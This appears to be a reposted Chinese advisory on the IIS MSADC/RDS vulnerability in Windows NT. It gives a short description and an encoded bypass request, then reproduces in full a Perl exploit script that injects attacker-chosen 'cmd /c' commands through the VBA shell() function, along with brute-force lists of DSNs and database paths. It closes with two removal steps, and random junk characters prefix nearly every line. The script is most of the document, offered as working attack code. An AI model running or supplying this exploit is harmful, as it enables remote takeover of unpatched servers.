IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
`g&<7~\=A *4;MO2g 涉及程序：
:yo tpa Microsoft NT server
mYf7?I~ x8xSA*@k 描述：
=l
TV2C< 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
_4VF>#b _ ,Wb`P 详细：
2`qO'V3 Q 如果你没有时间读详细内容的话，就删除:
,*SoV~ c:\Program Files\Common Files\System\Msadc\msadcs.dll
G:NI+E"] 有关的安全问题就没有了。
Z?yMy zT ]5X=u (} 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
@ 0cQ4} dGU io? 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
X#KC<BXw, 关于利用ODBC远程漏洞的描述，请参看:
e"9 u}-Q@ `,XCD-R^ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm D7.|UG?G Gq_rZ o(@ 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
"L'0" http://www.microsoft.com/security/bulletins/MS99-025faq.asp o";5@NH 0F$;]zg 这里不再论述。
EHk(\1!V 0'T*l 2Z`2 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
+L(0R& C c k-ab0n /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
w E^6DNh 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
z s! }P 4 [2^#t[ : t Ka1vL #将下面这段保存为txt文件，然后: "perl -x 文件名"
HP T {83 f>$Ld1 #!perl
&?\'Z~B4 #
)NG{iD{_] # MSADC/RDS 'usage' (aka exploit) script
qI-q%]l #
.kO!8Q-;% # by rain.forest.puppy
7O6VnKl #
CS[[TzC=5 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
TUeW-' /1 # beta test and find errors!
Of| e]GR -]=-IiC# use Socket; use Getopt::Std;
nv WTx4oy getopts("e:vd:h:XR", \%args);
yxfV|ox UO-<~DgH print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
UPtWj8h s^nP SY! if (!defined $args{h} && !defined $args{R}) {
zPwU'TbF print qq~
6*@\Qsp615 Usage: msadc.pl -h <host> { -d <delay> -X -v }
rSTc4m1R -h <host> = host you want to scan (ip or domain)
b}P5*}$:9" -d <seconds> = delay between calls, default 1 second
d~[^D<5,D -X = dump Index Server path table, if available
IEb"tsel -v = verbose
8 jom)a -e = external dictionary file for step 5
~r`~I"ZK7^ N_jCx* .G Or a -R will resume a command session
]s
lYr8m JM8 s]& ~; exit;}
^'8T9N@U :j/PtNT@ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
/Cd`h ;#@ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
]Y[8|HJ8 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
s)]Z*#ZZ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
WWF#&)ti $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Ty]/F+{ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
mfu >j,7l Vy
= fm if (!defined $args{R}){ $ret = &has_msadc;
"A jtNL5 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
0y4z`rzTn YWA :741 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
J.x>*3< l . "cmd /c ";
pk'@!|g%= $in=<STDIN>; chomp $in;
(sw1 HR $command="cmd /c " . $in ;
x q93>Hs
uh`@ qmu) if (defined $args{R}) {&load; exit;}
`+b>@2D_ qx5X2@-;: print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
EmNB}\ IYU &try_btcustmr;
V|NWJ7 WfVkewuPo print "\nStep 2: Trying to make our own DSN...";
d "78w-S &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
:=04_5 z x+5Q}u x'G print "\nStep 3: Trying known DSNs...";
96F:%|yG &known_dsn;
4: cbasy ZP?k |sEH print "\nStep 4: Trying known .mdbs...";
}Iub{30mp &known_mdb;
lf|e8k U\f I (Nsm3L if (defined $args{e}){
7V0:^Jov print "\nStep 5: Trying dictionary of DSN names...";
X5wS6v)#( &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
aEd F Z `ea$` 2 print "Sorry Charley...maybe next time?\n";
QAi(uL5 exit;
*ILS/`mdav ,@='.Qs4g ##############################################################################
C?rL>_+71 kVU|k-?2 sub sendraw { # ripped and modded from whisker
YO!,m<b^u sleep($delay); # it's a DoS on the server! At least on mine...
NOx&`OU+ my ($pstr)=@_;
Dr `\ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
}U'5j/EFZ die("Socket problems\n");
`1EBnL_1 if(connect(S,pack "SnA4x8",2,80,$target)){
vkq?z~GA select(S); $|=1;
c7s4 g- print $pstr; my @in=<S>;
- |[_j$g select(STDOUT); close(S);
jT: :o return @in;
^ <E+ 7 } else { die("Can't connect...\n"); }}
Dx <IS^>i c4-&I"z ##############################################################################
rB4#}+Uq Z;>~<#!4 sub make_header { # make the HTTP request
keJec`q=X my $msadc=<<EOT
*0c
}`| POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
5)n v User-Agent: ACTIVEDATA
\^#1~Kx Host: $ip
UkqLLzL Content-Length: $clen
B8_l+dXO Connection: Keep-Alive
cEqh |Q ;! 9_5Ar% ADCClientVersion:01.06
lwY{rWo Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
M`>W'< RChY+3,L) --!ADM!ROX!YOUR!WORLD!
=d5!O~}r> Content-Type: application/x-varg
gx6&'${=# Content-Length: $reqlen
xlwsZm{V B ph F+'CM EOT
(C3d<a\: ; $msadc=~s/\n/\r\n/g;
)_Oc= /c|f return $msadc;}
w- #0k.T 7q^/.:wlf ##############################################################################
SW; b E u ]2k %TUY sub make_req { # make the RDS request
'p e0Q- my ($switch, $p1, $p2)=@_;
m[bu(q z my $req=""; my $t1, $t2, $query, $dsn;
+>3c+h,%. -,;Ep' if ($switch==1){ # this is the btcustmr.mdb query
V[mQ;:= $query="Select * from Customers where City=" . make_shell();
3a qmK.`H $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
PGKXzp' $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
sZH7 EK VM,ZEt3Vy elsif ($switch==2){ # this is general make table query
%:,=J $query="create table AZZ (B int, C varchar(10))";
Z:v1?v $dsn="$p1";}
s z\RmX # Tg J d elsif ($switch==3){ # this is general exploit table query
u J` &hX $query="select * from AZZ where C=" . make_shell();
a
98 $dsn="$p1";}
#$w#"Nr 9k kOCxIJ!Xp= elsif ($switch==4){ # attempt to hork file info from index server
X*"K g $query="select path from scope()";
95Qz1*TR $dsn="Provider=MSIDXS;";}
a~* V 5u46Vl{ elsif ($switch==5){ # bad query
+V@=G &Ou0 $query="select";
aAr i $dsn="$p1";}
'y?|shV{] JF *g!sV% $t1= make_unicode($query);
J,O@T)S@ $t2= make_unicode($dsn);
5E!m! nBZ $req = "\x02\x00\x03\x00";
tA-B3 ] $req.= "\x08\x00" . pack ("S1", length($t1));
SR&
mHI-f0 $req.= "\x00\x00" . $t1 ;
XijLS7Aw| $req.= "\x08\x00" . pack ("S1", length($t2));
GC[{=]}9U $req.= "\x00\x00" . $t2 ;
EKP TDKut $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
@q/1m~t return $req;}
ak) -OL1 EY x Rw ##############################################################################
Pm^N0L9?q #/Fu*0/)` sub make_shell { # this makes the shell() statement
DOVX$N$3 return "'|shell(\"$command\")|'";}
F2$bUY } +4Bf+u: ##############################################################################
X-1Vp_(,TP nV3
7`
I sub make_unicode { # quick little function to convert to unicode
uX +<` 3O my ($in)=@_; my $out;
!><
%\K for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
" ^baiN@ac return $out;}
B bw1k EQJ_$6 ##############################################################################
Tud1xq %hbLT{w
sub rdo_success { # checks for RDO return success (this is kludge)
kc'0NE4oq my (@in) = @_; my $base=content_start(@in);
RVnyl`s if($in[$base]=~/multipart\/mixed/){
5u_4lNJ& return 1 if( $in[$base+10]=~/^\x09\x00/ );}
B21AcE return 0;}
RzRvu]]8 'ZH<g8:=@ ##############################################################################
+;* (a3 Gp '[ g)v sub make_dsn { # this makes a DSN for us
NWHH .1| my @drives=("c","d","e","f");
'e>sHL print "\nMaking DSN: ";
G;HlII9x[ foreach $drive (@drives) {
]cqZ!4? _ print "$drive: ";
g1wI/ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
o9 LD6$ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
%DRy&k/T . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
Ui |a}`c $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
?4>y2!OC9 return 0 if $2 eq "404"; # not found/doesn't exist
^T&u!{82j if($2 eq "200") {
^q&wITGI foreach $line (@results) {
KTK6#[8A return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
r.wIk0 } return 0;}
W,/C?qFp K%c ATA3 ##############################################################################
G#n^@k c*, g<iwx F sub verify_exists {
@yn^6cE my ($page)=@_;
{?f ^ my @results=sendraw("GET $page HTTP/1.0\n\n");
ah/6;,T return $results[0];}
nG ^M 2)(8 }1]!#yMfq ##############################################################################
sK 1m9 R'9@A\7# sub try_btcustmr {
# HM\ a my @drives=("c","d","e","f");
k~jKJb-_ my @dirs=("winnt","winnt35","winnt351","win","windows");
&Ev]x2YC LA+$_U"Jk foreach $dir (@dirs) {
*mQDS.'AB@ print "$dir -> "; # fun status so you can see progress
E7yf[/it foreach $drive (@drives) {
*)NR$9lGv print "$drive: "; # ditto
q3 x;_y^ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
Q Bfhyo_ $reqlenlen=length( "$reqlen" );
6t_ 3%{ $clen= 206 + $reqlenlen + $reqlen;
B15O,sL&W \2R`q*a+ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
!qTpQ5Dm if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
17 i<4f# else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
tIxhSI^ Th~3mf
# ##############################################################################
W>?f^C!+m @jE d%W sub odbc_error {
. QQ?w my (@in)=@_; my $base;
rysP)e my $base = content_start(@in);
4T==A#Z if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
% UUp=I $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
c
YM CfP $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
3yHb!}F $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
*`+<x return $in[$base+4].$in[$base+5].$in[$base+6];}
V6@*\+:3) print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
vLv|SqD print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
,30FGz^i $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
{k_ PMl0G Hi; K"H]x1 ##############################################################################
KFTf~!|
ch0oFc$ sub verbose {
4i_spF-3 my ($in)=@_;
a1
4 6kq return if !$verbose;
s6uF5]M;2 print STDOUT "\n$in\n";}
t4f
(Y,v 7oZ@<QP' ##############################################################################
MekT?KPQ{L qs6Nb'JvQR sub save {
}mKGuCoH> my ($p1, $p2, $p3, $p4)=@_;
C1X}3bB open(OUT, ">rds.save") || print "Problem saving parameters...\n";
*F\T}k7 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
C6K|:IK{ close OUT;}
Ne & Xf 1. Haf ##############################################################################
DC?21[60 H!u nIy| sub load {
]$m#1Kj my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
z $9@j2
open(IN,"<rds.save") || die("Couldn't open rds.save\n");
:dc"b?Ch @p=<IN>; close(IN);
[kPD`be2# $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
4 t&gW $target= inet_aton($ip) || die("inet_aton problems");
ad" 'O] print "Resuming to $ip ...";
EX[B/YH $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
a$ C2} if($p[1]==1) {
! 9d _Gf- $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
{V}t'x`4c $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
mSU@UD|' my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
w+t# Yb \7 if (rdo_success(@results)){print "Success!\n";}
W*YxBn4 else { print "failed\n"; verbose(odbc_error(@results));}}
1i4W WK7k elsif ($p[1]==3){
\: ]DFZ= ! if(run_query("$p[3]")){
1S+;ZMk print "Success!\n";} else { print "failed\n"; }}
#$LH2?) elsif ($p[1]==4){
cwk+#ur if(run_query($drvst . "$p[3]")){
nY OY"'z print "Success!\n"; } else { print "failed\n"; }}
D W1@<X exit;}
Wt>J` Wu4 ot0SZ ##############################################################################
]kRI}Om2 :~vxZ*a sub create_table {
~V @;(_T my ($in)=@_;
<v]z6B@9! $reqlen=length( make_req(2,$in,"") ) - 28;
7e1dEgn $reqlenlen=length( "$reqlen" );
-M6L.gi)oJ $clen= 206 + $reqlenlen + $reqlen;
'9 'l=Sh my @results=sendraw(make_header() . make_req(2,$in,""));
(V R" Mi4 return 1 if rdo_success(@results);
/$;,F't#2M my $temp= odbc_error(@results); verbose($temp);
Y!Drb-U?; return 1 if $temp=~/Table 'AZZ' already exists/;
IrJ + Jov return 0;}
BU!#z(vU P^"R4T ##############################################################################
W $r^ RL6Vkd? sub known_dsn {
Hk@r5<{ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
,I ZqLA my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
J7:9_/ e0T "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
y=w`w>% "banner", "banners", "ads", "ADCDemo", "ADCTest");
_ m Xs4 {&-#s#& foreach $dSn (@dsns) {
f e|g3>/| print ".";
k=?^){[We next if (!is_access("DSN=$dSn"));
dXl]Pe|v if(create_table("DSN=$dSn")){
UgR : qjI print "$dSn successful\n";
IK'F{QPH if(run_query("DSN=$dSn")){
b w9
nB{C< print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
_%{ 0?|= print "Something's borked. Use verbose next time\n";}}} print "\n";}
oCVku:. |H
W(
vA ##############################################################################
&iNS?1a%f= T^]7R4 Fg sub is_access {
O= aw^|oj] my ($in)=@_;
fJy)STQ4 $reqlen=length( make_req(5,$in,"") ) - 28;
MWs~#ReZ $reqlenlen=length( "$reqlen" );
9*\g`fWc}{ $clen= 206 + $reqlenlen + $reqlen;
4d`+CD C my @results=sendraw(make_header() . make_req(5,$in,""));
Q4? EZ _O my $temp= odbc_error(@results);
Me ,<\rQ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
1[ SA15h return 0;}
"]#'QuR -w]/7cH ##############################################################################
eLV.qLBUs Q_]~0PoH sub run_query {
zb :kanb- my ($in)=@_;
Efx=T$%^& $reqlen=length( make_req(3,$in,"") ) - 28;
qfYG.~`5 $reqlenlen=length( "$reqlen" );
U; U08/y $clen= 206 + $reqlenlen + $reqlen;
?v4E<iXs my @results=sendraw(make_header() . make_req(3,$in,""));
NEV p8) w return 1 if rdo_success(@results);
vd (?$ my $temp= odbc_error(@results); verbose($temp);
OxQYNi2 return 0;}
*~2cG;B"e mj2Pk,,SA ##############################################################################
d>|; f 9i=B sub known_mdb {
]-:6T0JuS my @drives=("c","d","e","f","g");
^m%52Tm
h my @dirs=("winnt","winnt35","winnt351","win","windows");
{<K=*r rZ my $dir, $drive, $mdb;
Yw)Fbt^ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
f*m[|0qI<X 3 v1 7" # this is sparse, because I don't know of many
6G of. :"f my @sysmdbs=( "\\catroot\\icatalog.mdb",
=45W\ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
yMx TfR "\\system32\\certmdb.mdb",
% ;| 0 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
uel{`T[S m Ni2b*k my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
89H sPB1"t "\\cfusion\\cfapps\\forums\\forums_.mdb",
|m;L?)F< "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
{C")#m -0 "\\cfusion\\cfapps\\security\\realm_.mdb",
pRi<cO "\\cfusion\\cfapps\\security\\data\\realm.mdb",
cWa)#:JOV "\\cfusion\\database\\cfexamples.mdb",
XP3x Jm3 "\\cfusion\\database\\cfsnippets.mdb",
1m@^E:w "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
|E3X "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
c#cx>wq9 "\\cfusion\\brighttiger\\database\\cleam.mdb",
L,LNv "\\cfusion\\database\\smpolicy.mdb",
IV `%V+
f "\\cfusion\\database\cypress.mdb",
Jxl6a: "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
J n&7C "\\website\\cgi-win\\dbsample.mdb",
K8I$]M "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
"Cz<d w]D "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
y1f:?L-z ); #these are just
|>
enp> foreach $drive (@drives) {
</`yd2 > foreach $dir (@dirs){
cr;`Tl~}s foreach $mdb (@sysmdbs) {
yxWO [ Z print ".";
Ond'R'3 \E if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
s Be7"^ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
ipE ]}0q if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
(5Nv8H8| print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
} ^kL|qmjR } else { print "Something's borked. Use verbose next time\n"; }}}}}
|CFRJN-J" *m+Bu Gt| foreach $drive (@drives) {
\wvg,j= foreach $mdb (@mdbs) {
K%5" u' print ".";
pv)`%< if(create_table($drv . $drive . $dir . $mdb)){
kFLB> j97 print "\n" . $drive . $dir . $mdb . " successful\n";
V ~{fB~ if(run_query($drv . $drive . $dir . $mdb)){
Cfu=u *u print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
muON> ^MbC } else { print "Something's borked. Use verbose next time\n"; }}}}
Xd
`vDgD }
l@Z6d o @~td`Z?1 y ##############################################################################
*iA4:EIP yR5XJ;Tct sub hork_idx {
!D^c3d
print "\nAttempting to dump Index Server tables...\n";
E0n6$5Uc? print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
I0'WOV70 $reqlen=length( make_req(4,"","") ) - 28;
i y esD $reqlenlen=length( "$reqlen" );
X;F8_+Np $clen= 206 + $reqlenlen + $reqlen;
fh8j2S9J my @results=sendraw2(make_header() . make_req(4,"",""));
w4,Ag{t> if (rdo_success(@results)){
(.Y/ my $max=@results; my $c; my %d;
1 T<+d5[C for($c=19; $c<$max; $c++){
"_UdB G $results[$c]=~s/\x00//g;
Io`P,l: $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
NE2pL@ sk $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
Hy:V `> $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
t&q N: J $d{"$1$2"}="";}
*A 'FC|\ foreach $c (keys %d){ print "$c\n"; }
T=f|,sK +7 } else {print "Index server doesn't seem to be installed.\n"; }}
Z4K+ /<I w8Q<r. ##############################################################################
:(|'S4z E(pF:po sub dsn_dict {
~+X9g open(IN, "<$args{e}") || die("Can't open external dictionary\n");
_n8GWBi while(<IN>){
.R* !aK $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
{~GYj%-^ next if (!is_access("DSN=$dSn"));
!`JH H & if(create_table("DSN=$dSn")){
k,F"-K+M print "$dSn successful\n";
2zSG&",2D if(run_query("DSN=$dSn")){
^g1f X1 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
}kHd K vZ print "Something's borked. Use verbose next time\n";}}}
sAn0bX print "\n"; close(IN);}
620 %Z* `? g`bN`Vn ##############################################################################
[D "t~QMr TcTM]ixr sub sendraw2 { # ripped and modded from whisker
5wao1sd # sleep($delay); # it's a DoS on the server! At least on mine...
/
O/`< my ($pstr)=@_;
W1Lr_z6
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
`vG,}Pt] die("Socket problems\n");
x&Vm!,%:1 if(connect(S,pack "SnA4x8",2,80,$target)){
Jf)bHjC_V print "Connected. Getting data";
]r! > { open(OUT,">raw.out"); my @in;
]?1Y
e8>Y< select(S); $|=1; print $pstr;
/M~!sPW&? while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
/v|"0 close(OUT); select(STDOUT); close(S); return @in;
HjqB^ |z } else { die("Can't connect...\n"); }}
7'-Lp@an -4w=s|#.\ ##############################################################################
87%*+n:?* G&xo1K ] sub content_start { # this will take in the server headers
E9 |eu\ my (@in)=@_; my $c;
l\AMl
\ for ($c=1;$c<500;$c++) {
<e]Oa$ if($in[$c] =~/^\x0d\x0a/){
w~_;yQ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
X8dR+xd else { return $c+1; }}}
\;-fi.Hrf$ return -1;} # it should never get here actually
CM )Q& : _zt1 9%Wg ##############################################################################
9=w|)p ) V}d 9f 2 sub funky {
O1 .w,U my (@in)=@_; my $error=odbc_error(@in);
n?\ nn3 if($error=~/ADO could not find the specified provider/){
9][(Iu]h7 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
GLn{ s exit;}
IKMeJ(:S if($error=~/A Handler is required/){
Rj F'x print "\nServer has custom handler filters (they most likely are patched)\n";
o-xDh7v exit;}
_LAS~x7, if($error=~/specified Handler has denied Access/){
x:vu'A print "\nServer has custom handler filters (they most likely are patched)\n";
72sD0)?A exit;}}
yKXff1^M [S.ZJUns ##############################################################################
Q%/<ZC.Mz6 EM7+VO( sub has_msadc {
P o jmC my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
e{;OSk`x my $base=content_start(@results);
O3N0Y GhJ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
p~ C.IG return 0;}
<9 =9b_z lP Lz@Up~ ########################
sS&Z ,A `28};B> h2ZkCML 解决方案：
]
2DH; 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
)
\Y 7& 2、移除web 目录: /msadc
